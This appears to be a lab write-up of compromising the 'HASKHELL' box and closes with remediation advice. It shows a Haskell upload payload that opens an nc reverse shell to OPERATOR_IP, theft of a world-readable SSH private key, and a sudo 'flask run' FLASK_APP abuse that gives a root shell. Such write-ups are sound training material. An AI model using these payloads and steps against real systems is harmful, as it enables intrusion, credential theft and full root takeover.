Haskell homework RCE, SSH key theft, and Flask FLASK_APP root
Intermediate Linux engagement: a Gunicorn homework uploader executed uploaded .hs files for RCE as flask; a readable prof SSH key yielded interactive access; sudo flask run with env_keep+=FLASK_APP spawned root Python.
- Case files
- Haskell homework RCE, SSH key theft, and Flask FLASK_APP root
Port 5001 accepted Haskell uploads that ran on the server. flask could read prof’s id_rsa. sudo flask run honored attacker-controlled FLASK_APP for a root shell.
Uploaded a .hs file that called nc; the submit endpoint executed it as flask.
Exfiltrated /home/prof/.ssh/id_rsa and authenticated over SSH.
Exported FLASK_APP to a pty-spawning Python module and ran flask under sudo.
Engagement summary
Port 5001 accepted Haskell uploads that ran on the server. flask could read prof’s id_rsa. sudo flask run honored attacker-controlled FLASK_APP for a root shell.
HASKHELL (10.10.217.150) exposed OpenSSH and Gunicorn on 5001. /submit compiled and executed student .hs uploads — we submitted a Haskell payload that opened a reverse shell as flask. /home/prof/.ssh/id_rsa was readable; SSH as prof recovered the user artifact. sudo -l showed NOPASSWD /usr/bin/flask run with env_keep+=FLASK_APP. Pointing FLASK_APP at a Python file that spawned /bin/bash and invoking sudo flask run completed root.
Business impact
Executing untrusted student code is remote code execution by design. World-readable private keys defeat SSH. Preserving FLASK_APP under sudo turns Flask into a root interpreter. Sandbox or remove homework runners, fix key permissions to 600, and never keep attacker-influenced env vars in sudoers.
Haskell upload to reverse shell
Uploaded a .hs file that called nc; the submit endpoint executed it as flask.
OPERATOR · RECON
savvy@lab:~$ nmap -sSCV 10.10.217.150
22/tcp open ssh OpenSSH 7.6p1
5001/tcp open http Gunicorn 19.7.1
savvy@lab:~$ gobuster dir -u http://10.10.217.150:5001/ -w common.txt
/submit (Status: 200)
PAYLOAD
shell.hs
module Main where
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc OPERATOR_IP 4444 >/tmp/f"OPERATOR · SUBMIT
savvy@lab:~$ nc -nlvp 4444
# upload shell.hs via http://10.10.217.150:5001/submit
savvy@lab:~$ whoami
flask
Readable SSH key to prof
Exfiltrated /home/prof/.ssh/id_rsa and authenticated over SSH.
OPERATOR · KEY THEFT
savvy@lab:~$ ls -la /home/prof/.ssh/
-rw-r--r-- ... id_rsa
savvy@lab:~$ chmod 600 id_rsa && ssh -i id_rsa prof@10.10.217.150
savvy@lab:~$
sudo flask run with FLASK_APP
Exported FLASK_APP to a pty-spawning Python module and ran flask under sudo.
PAYLOAD
shell.py
#!/usr/bin/env python3
import pty
pty.spawn("/bin/bash")OPERATOR · ROOT
savvy@lab:~$ sudo -l
env_keep+=FLASK_APP
(root) NOPASSWD: /usr/bin/flask run
savvy@lab:~$ export FLASK_APP=shell.py
savvy@lab:~$ sudo /usr/bin/flask run
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Never execute uploaded source on the application host. Enforce 600 on private keys. Remove FLASK_APP from env_keep; if flask must run under sudo, pin a fixed app path owned by root.